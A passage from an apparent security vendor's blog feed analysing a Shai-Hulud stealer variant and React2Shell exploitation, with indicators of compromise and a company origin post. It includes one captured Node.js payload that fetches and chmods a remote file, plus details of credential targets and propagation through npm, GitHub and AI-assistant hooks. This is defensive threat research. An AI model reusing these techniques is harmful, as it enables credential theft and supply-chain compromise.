redirects the output to &lt;code&gt;r.txt&lt;/code&gt; then uses a separate &lt;code&gt;curl&lt;/code&gt; invocation to
POST the file to an attacker-controlled collector.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-standalone-executable-collects-credentials&quot;&gt;The standalone executable collects credentials&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AWS.&lt;/strong&gt; &lt;code&gt;~/.aws&lt;/code&gt; credentials and config, the link-local instance metadata
service, the link-local Elastic Container Service (ECS) task-credentials
endpoint, SSM Parameter
Store, Secrets Manager and account identity through STS. Requests use AWS
Signature Version 4 (SigV4) implemented by the variant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub.&lt;/strong&gt; The CLI&#39;s stored token, Actions secrets, organization secrets and
whatever is resident in a CI runner&#39;s memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kubernetes.&lt;/strong&gt; The in-cluster service account token, &lt;code&gt;KUBECONFIG&lt;/code&gt; and
cluster secrets.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vault.&lt;/strong&gt; &lt;code&gt;VAULT_ADDR&lt;/code&gt;, defaulting to the local Vault endpoint on port 8200,
plus the token file and role variables.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Azure and Ansible.&lt;/strong&gt; Access token caches, Microsoft Authentication Library
(MSAL) caches and &lt;code&gt;~/.ansible&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI assistant configuration.&lt;/strong&gt; &lt;code&gt;~/.claude.json&lt;/code&gt; and &lt;code&gt;~/.claude/mcp.json&lt;/code&gt;.
These files may contain credentials exposed to configured tools.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wallets and messaging.&lt;/strong&gt; Bitcoin, Electrum, Ledger Live, Signal, Slack.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Other credential stores.&lt;/strong&gt; KDE Wallet, Remmina, OpenVPN client
certificates.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;History files.&lt;/strong&gt; &lt;code&gt;.bash_history&lt;/code&gt;, &lt;code&gt;.psql_history&lt;/code&gt;, &lt;code&gt;.python_history&lt;/code&gt;,
&lt;code&gt;.viminfo&lt;/code&gt; and &lt;code&gt;.pypirc&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Process environment.&lt;/strong&gt; Scans all environment variables for &lt;code&gt;gh[op]_&lt;/code&gt; and
&lt;code&gt;npm_&lt;/code&gt; token patterns.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each file is capped at 5 MB.&lt;/p&gt;
&lt;h2 id=&quot;stolen-credentials-propagate-the-standalone-variant&quot;&gt;Stolen credentials propagate the standalone variant&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub tokens spread the executable through repositories.&lt;/strong&gt; With push
access it writes the compiled executable and its loaders to every branch it
can update. It also installs a VS Code task configured for folder-open and a
Claude Code &lt;code&gt;SessionStart&lt;/code&gt; hook. Either hook launches the loader when a
developer opens the repository.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;npm tokens spread the executable through packages.&lt;/strong&gt; For a token with
&lt;code&gt;package:write&lt;/code&gt; permission that bypasses two-factor authentication, it
downloads the latest tarball for every writable package. It adds a
&lt;code&gt;preinstall&lt;/code&gt; loader and the compiled executable, increments the patch version
then republishes the package.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub Actions trusted publishing provides another npm publication path.&lt;/strong&gt;
Inside the hardcoded &lt;code&gt;release-drafter.yml&lt;/code&gt; workflow for &lt;code&gt;opensearch-js&lt;/code&gt;, the
executable exchanges an OpenID Connect (OIDC) token for an npm publish token.
It modifies &lt;code&gt;@opensearch-project/opensearch&lt;/code&gt; with a malicious optional
dependency then publishes it with generated Sigstore provenance.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Datadog Security Labs documented the same propagation components in its
&lt;a href=&quot;https://securitylabs.datadoghq.com/articles/shai-hulud-open-source-framework-static-analysis/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;static
analysis of the Shai-Hulud framework&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;three-hosts-support-delivery-and-control&quot;&gt;Three hosts support delivery and control&lt;/h2&gt;
&lt;p&gt;The exploit requests contain commands for all three payload stages. Those
commands fetch the standalone Shai-Hulud executable and deploy script from the
EC2 host. They fetch the SSH worm from a host we assess as a compromised
third-party victim. They return registration data to the host that sent the
requests. The same host exposes the operator&#39;s panel.&lt;/p&gt;
&lt;p&gt;The active operator address is withheld. It is a US address associated with
BLNWX. The EC2 address is masked. The host we assess as a
compromised third-party victim is withheld altogether, including its network.
We notified the owner and are withholding identifying details to allow time for
remediation.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Host&lt;/th&gt;
&lt;th&gt;Origin&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Withheld operator host&lt;/td&gt;
&lt;td&gt;BLNWX, US&lt;/td&gt;
&lt;td&gt;Every exploit attempt, the registration command-and-control (C2) endpoint and the operator&#39;s panel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;18.214.X.X&lt;/code&gt;, a cloud instance&lt;/td&gt;
&lt;td&gt;AS14618 Amazon EC2, US&lt;/td&gt;
&lt;td&gt;Serves the standalone stealer, deploy artifact and collector&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Withheld victim host&lt;/td&gt;
&lt;td&gt;Withheld&lt;/td&gt;
&lt;td&gt;Serves the SSH worm. Assessed as a compromised third-party victim; owner notified&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The operator host exposes SSH and a Python &lt;code&gt;BaseHTTP&lt;/code&gt; service on port &lt;code&gt;9000&lt;/code&gt;.
The service identifies itself as &lt;strong&gt;CommandCenter — Server Fleet Manager&lt;/strong&gt;, a
dashboard for Linux monitoring and remote command execution. Its login overlay
runs client-side. The page states that credentials reside in &lt;code&gt;center.conf&lt;/code&gt; on
the server. Its table contains address, label, port, tag, status and action
fields. The third handler registers victim &lt;code&gt;gs-netcat&lt;/code&gt; keys to this same host.
These roles link the exploit source, registration endpoint and fleet panel to
one host.&lt;/p&gt;
&lt;p&gt;The collector endpoint remained active as of 11 August.&lt;/p&gt;
&lt;p&gt;The third handler makes the deploy artifact executable then extracts a
&lt;code&gt;gs-netcat&lt;/code&gt; secret from its output. &lt;code&gt;gs-netcat&lt;/code&gt; is part of the public Global
Socket toolkit.&lt;/p&gt;
&lt;h2 id=&quot;the-campaign-combines-a-new-variant-with-reused-tooling&quot;&gt;The campaign combines a new variant with reused tooling&lt;/h2&gt;
&lt;p&gt;The campaign combines a new standalone Shai-Hulud variant with three reused
components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The standalone Shai-Hulud variant is new.&lt;/strong&gt; It is derived from the public
Shai-Hulud codebase and retains its credential-collection and propagation
code but adds a dedicated &lt;code&gt;Shai-Hulud-Standalone&lt;/code&gt; target and
&lt;code&gt;standalonePolyfill.ts&lt;/code&gt;. It embeds the Bun runtime in one executable and writes
collected results to standard output.  Previously documented variants download
Bun, execute a script and implement their own exfiltration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The React2Shell exploit is derived from PCPcat tooling.&lt;/strong&gt; Its requests carry
the same fixed multipart boundary as the PCPcat exploit
&lt;a href=&quot;https://zerolabs.rubrik.com/blog/pcpcat-campaign-large-scale-exploitation-react2shell-cve-and-cloud-infrastructure&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;documented
by Rubrik Zero Labs&lt;/a&gt;. The shared boundary supports code reuse. It does not
establish a common operator.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The SSH worm is derived from SSH-Snake.&lt;/strong&gt; It adds a wrapper that reports
access details to a Discord webhook.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The reverse shell uses Global Socket.&lt;/strong&gt; The campaign deploys the public
&lt;code&gt;gs-netcat&lt;/code&gt; tooling through its SSH and persistence stages.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;what-to-hunt-for&quot;&gt;What to hunt for&lt;/h2&gt;
&lt;p&gt;The first group combines the standalone sample hash with code and runtime
indicators shared by the documented npm variant and this standalone variant.&lt;/p&gt;
&lt;p&gt;The abuse.ch entry for the standalone Shai-Hulud variant is located &lt;a href=&quot;https://bazaar.abuse.ch/sample/dcbf7b7f32b4f9b326b3bf7c8f2548f642b294b8dbe01e02154d8fcc27b7da84/&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;figure class=&quot;hunt-sheet&quot; id=&quot;shai-hulud-code-and-runtime-indicators&quot; data-zoom&gt;
  &lt;img src=&quot;/blog/img/shai-hulud-runtime-indicators.png&quot; width=&quot;1200&quot; height=&quot;800&quot; loading=&quot;lazy&quot; alt=&quot;Shai-Hulud code and runtime indicator reference sheet&quot;&gt;
&lt;/figure&gt;
&lt;div class=&quot;visually-hidden&quot;&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Context&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SHA-256 &lt;a href=&quot;https://bazaar.abuse.ch/sample/dcbf7b7f32b4f9b326b3bf7c8f2548f642b294b8dbe01e02154d8fcc27b7da84/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;code&gt;dcbf7b7f32b4f9b326b3bf7c8f2548f642b294b8dbe01e02154d8fcc27b7da84&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Standalone Shai-Hulud ELF sample&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;User-Agent: node&lt;/code&gt; to &lt;code&gt;api.github.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Used for every GitHub API request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dependabot/github_actions/format/setup-formatter&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pushed without a pull request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.github/workflows/codeql_analysis.yml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Workflow injected on the branch above&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;github-advanced-security[bot]&lt;/code&gt; committer&lt;/td&gt;
&lt;td&gt;Verify the authenticated actor in audit logs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Run Copilot&lt;/code&gt; from &lt;code&gt;codeql_analysis.yml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Workflow name and filename do not match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;${{ toJSON(secrets) }}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Serializes workflow secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;format-results&lt;/code&gt; artifact&lt;/td&gt;
&lt;td&gt;Stores serialized secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Workflow run and branch deleted within seconds&lt;/td&gt;
&lt;td&gt;Hunt in audit logs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sudo python3&lt;/code&gt; reading &lt;code&gt;Runner.Worker&lt;/code&gt; memory&lt;/td&gt;
&lt;td&gt;Correlate with parent process; debuggers may overlap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Non-interactive &lt;code&gt;gh auth token&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reads the GitHub CLI credential&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;The fixed branch, workflow, committer and artifact names match the documented
npm variant. Apply them to both variants.&lt;/p&gt;
&lt;figure class=&quot;hunt-sheet&quot; id=&quot;react2shell-campaign-indicators&quot; data-zoom&gt;
  &lt;img src=&quot;/blog/img/react2shell-campaign-indicators.png&quot; width=&quot;1200&quot; height=&quot;720&quot; loading=&quot;lazy&quot; alt=&quot;React2Shell campaign indicator reference sheet&quot;&gt;
&lt;/figure&gt;
&lt;div class=&quot;visually-hidden&quot;&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Context&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;POST to &lt;code&gt;^/[a-z]{8}$&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Injected command path; low specificity alone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;backup@localhost&lt;/code&gt; key fingerprint &lt;code&gt;SHA256:0w8kzav6+IxH/ma8VXmdTsyyQAK1OdW6RSfA0KbbpW4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added to &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/dev/shm/.ts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deploy artifact&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/usr/bin/qq&lt;/code&gt;, &lt;code&gt;/usr/bin/ww&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Copies of &lt;code&gt;curl&lt;/code&gt; and &lt;code&gt;wget&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;D-Bus System Connection Bus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disguised systemd unit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[kworker]&lt;/code&gt;, &lt;code&gt;[kswapd0]&lt;/code&gt; via &lt;code&gt;exec -a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disguised Global Socket process&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gs-dbus&lt;/code&gt; or &lt;code&gt;gs-db&lt;/code&gt; beside a &lt;code&gt;.dat&lt;/code&gt; file&lt;/td&gt;
&lt;td&gt;Global Socket binary and secret&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdn.gsocket.io&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Global Socket download host&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SHA-256 &lt;code&gt;2171deb9293361fd801691948264ad8dc7864935140834449307d040a6d67787&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Global Socket installer&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h2 id=&quot;method-and-disclosure&quot;&gt;Method and disclosure&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bitbison.io&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Bitbison&lt;/a&gt;
records and analyzes system operations and their complete causal histories
without sampling at production scale.&lt;/p&gt;
&lt;p&gt;We built its sensors and data model to be natively aware of both application
and kernel activity. Standard OpenTelemetry data becomes part of the same
causal record. We could therefore attribute
system-level side effects to the application request that caused them. This
connected the React2Shell requests to the in-process handlers, shell commands,
downloaded payloads and resulting network activity.&lt;/p&gt;
&lt;p&gt;We recovered the payload stages delivered to the observed host and performed
static analysis of the standalone executable. The runtime record establishes
which code executed. Static analysis identifies additional capabilities present
in the artifact. Our internal harnesses and runtimes use the complete causal
record to automate broad parts of this analysis with AI. Each result retains
the source operations and causal edges needed for verification.&lt;/p&gt;
&lt;p&gt;We reported the Discord webhook and control-channel token to Discord. We
notified the hosting providers for the attacker-controlled infrastructure
through their published abuse contacts. We also notified the owner of the
withheld third-party host. We submitted the samples to abuse.ch. The standalone
sample is linked in the hunt data above.&lt;/p&gt;
&lt;p&gt;Want more? Security researchers can contact us at &lt;code&gt;team@&lt;/code&gt;. We are happy to
share additional data.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>React2Shell: 8 months later</title>
    <link href="https://bitbison.io/blog/react2shell-eight-months-later/" />
    <updated>2026-08-09T00:00:00Z</updated>
    <id>https://bitbison.io/blog/react2shell-eight-months-later/</id>
    <category term="wild" />
    <summary>React2Shell across 47 real-world compromises.</summary>
    <content type="html">&lt;h2 id=&quot;most-scanning-never-became-exploitation&quot;&gt;Most scanning never became exploitation&lt;/h2&gt;
&lt;p&gt;Of 1,386 distinct addresses that scanned or probed the hosts, 19 executed a
proof command (1.4%). Twelve continued into post-exploitation activity (0.87%).
The 47 compromises were events rather than unique sources. Some sources
compromised a host more than once.&lt;/p&gt;
&lt;p&gt;Failure continued after entry. Operators repeatedly launched persistence,
delivery and eviction branches without checking whether they worked.&lt;/p&gt;
&lt;h2 id=&quot;successful-exploitation-did-not-always-create-a-process&quot;&gt;Successful exploitation did not always create a process&lt;/h2&gt;
&lt;p&gt;Of the 1,560 exploit requests that reached the gadget, 20.3% spawned no child
process. 3.1% also made no outbound connection and produced no distinguishing
reverse-proxy record. The proxy returned HTTP 500 for all 1,560 requests
whether the exploit succeeded or failed.&lt;/p&gt;
&lt;p&gt;One operator delivered the same payload to the same path in two forms within
minutes. The first used &lt;code&gt;wget&lt;/code&gt; and a shell. The second resolved the fetch, write
and permission change inside Node:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;mainModule&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;http&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&#39;http://[address-withheld]/nuts/poop&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token parameter&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;pipe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;fs&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createWriteStream&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;/app/let&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;finish&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; fs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;chmodSync&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;/app/let&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o711&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only the first form appeared in process-creation telemetry. Bitbison recorded
both.&lt;/p&gt;
&lt;p&gt;Two additional results define the limits of conventional evidence:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Eight of nine recovered campaign samples were absent from public malware
collections when we checked. Three are present now because we submitted them.&lt;/li&gt;
&lt;li&gt;A credential harvester stole a planted SSH key, fake AWS credentials, a
wallet seed and the environment in 32 seconds. The key was never reused. The
account worked. Outbound SSH was permitted and both ends were observed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;operator-bloopers&quot;&gt;Operator bloopers&lt;/h2&gt;
&lt;p&gt;At the risk of helping the operators debug their code, the record contains an
amusing set of post-compromise failures:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A persistence branch attempted to create a backdoor account with passwordless
sudo. The web user could not run &lt;code&gt;useradd&lt;/code&gt;. Every result went to &lt;code&gt;/dev/null&lt;/code&gt;,
so it failed 74 times without informing the operator.&lt;/li&gt;
&lt;li&gt;The &lt;a href=&quot;/blog/shai-hulud-standalone/#the-command-retrieves-runs-and-removes-the-stealer&quot;&gt;standalone Mini Shai-Hulud chain&lt;/a&gt;
included a PHP fallback with a parse error. The operator eventually reached
execution through another path.&lt;/li&gt;
&lt;li&gt;Another actor requested a payload URL with &lt;code&gt;http://&lt;/code&gt; duplicated before its
redacted host. The payload existed on the actor&#39;s server, but the doubled
scheme prevented delivery.&lt;/li&gt;
&lt;li&gt;A 124-byte watchdog attempted to trap &lt;code&gt;SIGKILL&lt;/code&gt;. Linux does not permit this.
The watchdog then restarted its implant every 60 seconds.&lt;/li&gt;
&lt;li&gt;The mining script tried to delete rondo from a stale path. Both implants ran
together for ten hours without either operator noticing.&lt;/li&gt;
&lt;li&gt;The same miner retained XMRig&#39;s developer donation. Part of the cryptocurrency
mined on compromised hosts went to XMRig&#39;s authors.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;what-defenders-should-do&quot;&gt;What defenders should do&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Resolve the installed React dependency instead of trusting the manifest.
Many affected applications declared Next.js and received React transitively.
&lt;code&gt;npm ls --all&lt;/code&gt; reports the effective tree. Inspect the installed
&lt;code&gt;react-server-dom-*&lt;/code&gt; packages.&lt;/li&gt;
&lt;li&gt;Upgrade to a currently supported patched release. The React2Shell RCE patch
remains effective, but later RSC flaws received CVE-2025-55183,
CVE-2025-55184, CVE-2025-67779 and CVE-2026-23864.&lt;/li&gt;
&lt;li&gt;Record what request handlers do, not only the processes they spawn. A fifth
of the activity in this window produced no process.&lt;/li&gt;
&lt;li&gt;Treat paths, hashes and public corpora as retrospective evidence rather than
detection boundaries. Attackers used twelve drop directories and randomized
names on each execution. Twenty-nine filenames did not represent 29 binaries.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;method-and-disclosure&quot;&gt;Method and disclosure&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bitbison.io&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Bitbison&lt;/a&gt;
records and analyzes system operations and their complete causal histories
without sampling at production scale.&lt;/p&gt;
&lt;p&gt;We made this record a foundational property of the policy system. Our
extensible data model let us attribute system-level side effects to application
behavior exposed through standard OpenTelemetry instrumentation. Our internal
harnesses and runtimes use the complete causal record to automate broad parts
of the analysis with AI. Each result retains the source operations and causal
edges needed for verification. The resulting record let us distinguish
successful exploitation from failure even when an attempt created no child
process, made no outbound connection and produced the same HTTP 500 response as
every other attempt.&lt;/p&gt;
&lt;p&gt;The measurements cover 48 hours across 13 independent exposure windows. Both
detection systems ran throughout. The alternative used its stock ruleset.
Neither system was tuned. Known research scanners were excluded before counting
executing addresses.&lt;/p&gt;
&lt;p&gt;Want more? Security researchers can contact us at &lt;code&gt;team@&lt;/code&gt;. We are happy to
share additional data.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Building a new foundation for security</title>
    <link href="https://bitbison.io/blog/hello-world/" />
    <updated>2026-07-01T00:00:00Z</updated>
    <id>https://bitbison.io/blog/hello-world/</id>
    <category term="company" />
    <summary>Our origin story</summary>
    <content type="html">&lt;p&gt;Bitbison was born from personal pain with the runtime security ecosystem and everything that touches it,
including supply chain and non-deterministic agentic workloads that are effectively insider threats. When I
started this journey, 0-day exploits were expensive, agents were on the fringe and major supply chain attacks
were uncommon. The current generation of frontier models changed that quickly. 0-days are now a commodity,
major supply chain attacks are a regular occurrence and every organization now hosts a potential insider
threat in the form of AI agents that lack sufficient security controls.&lt;/p&gt;
&lt;p&gt;We can no longer operate production systems without a significant improvement
to security observability and policy. With the support of our investors,
angels and advisors, we have brought together a world-class team to share a
modern re-imagining of security. We are now opening early access for anyone
interested in playing an active role in shaping it. This post is the story of
why we started and what we chose to build first.&lt;/p&gt;
&lt;h2 id=&quot;the-origin-story&quot;&gt;The origin story&lt;/h2&gt;
&lt;h3 id=&quot;the-day-we-got-popped&quot;&gt;The day we got popped&lt;/h3&gt;
&lt;p&gt;Log4Shell was disclosed in December 2021 and impacted hundreds of millions of systems. One of the
organizations I was involved with was among them. A build server had a VPN misconfiguration and was
accidentally exposed to the internet. We were running current runtime security products alongside file
integrity monitoring and malware scanners. There was no detection. A CPU utilization alert we decided not to
ignore is what brought the breach to our attention. We were not expecting a breach at all.&lt;/p&gt;
&lt;p&gt;We logged into the system and identified a Bitcoin miner. There was nothing else to go on. Aside from the
miner, no new files were present. There was no indication of further persistence and no log of what else the
attacker did with the instance. Our build and packaging environment was isolated, so we could determine that
neither our source nor our external packages were compromised. We could not determine whether anything was
exfiltrated, whether the attack was targeted or whether there were attempts at lateral movement. Leaving no
evidence behind is easy. I learned first hand during forensics that the default disposition of runtime
security products is to log almost nothing. This holds even when there is a detection. We re-imaged the instance and crossed
our fingers.&lt;/p&gt;
&lt;p&gt;This always bothered me.&lt;/p&gt;
&lt;h3 id=&quot;the-insider-threat-problem&quot;&gt;The insider threat problem&lt;/h3&gt;
&lt;p&gt;Another organization I was involved with went through several rounds of lay-offs in the economic aftermath of
COVID. I inherited a severely understaffed security organization with insufficient tooling, through no fault of
its own. I had assumed that decades of improvements to systems observability for performance had been
extended to runtime security monitoring. That was not the case.&lt;/p&gt;
&lt;p&gt;Most engineers disabled or circumvented the runtime monitoring products because
of their impact on system performance. When enabled, observability was limited.
I was surprised to learn the modern approach to runtime security is still built
on whitelists. As with the Log4Shell episode, the
observability was not there to answer what did or did not happen across
thousands of endpoints and servers.&lt;/p&gt;
&lt;p&gt;Our small security team was tasked with identifying insider threats. One employee exfiltrated intellectual
property. Telemetry was minimal; aside from an anomalous increase in outbound network traffic, there was no
way to scope the exfiltration with certainty. The tooling could not observe everything all the time. The
performance trade-off meant the best you could hope for was whitelist monitoring, which is ineffective when
the monitored systems run arbitrary workloads.&lt;/p&gt;
&lt;h2 id=&quot;solving-the-observability-problem&quot;&gt;Solving the observability problem&lt;/h2&gt;
&lt;p&gt;We started by revisiting the observability problem. We could not have detected activity that was never
observed. No audit is possible when nothing is logged. Existing audit systems do not meet this bar; full
capture slows workloads by 2x to 8x. The problem is logging enough to understand cause and effect, at
production scale, with minimal impact to the runtime.&lt;/p&gt;
&lt;p&gt;This is a deep problem with close to 20 years of active research behind it, known as full systems provenance.
It breaks into two parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Monitoring all system activity, all the time, so the cause-and-effect relationship between events is
preserved.&lt;/li&gt;
&lt;li&gt;Storing that information so an audit is always possible.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;R. Sekar, Hanke Kimm and Rohit Aich measured how existing systems handle the
first problem. Their eAudit paper at the 2024 IEEE Symposium on Security and
Privacy benchmarks the established collection systems including sysdig,
auditd and CamFlow. Under sustained workloads every one of them drops events. Complete
capture is only reached after the workload itself has been slowed down to a crawl.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/img/eaudit-data-loss.png&quot; alt=&quot;Data loss against slowdown factor for existing provenance collection systems&quot;&gt;&lt;/p&gt;
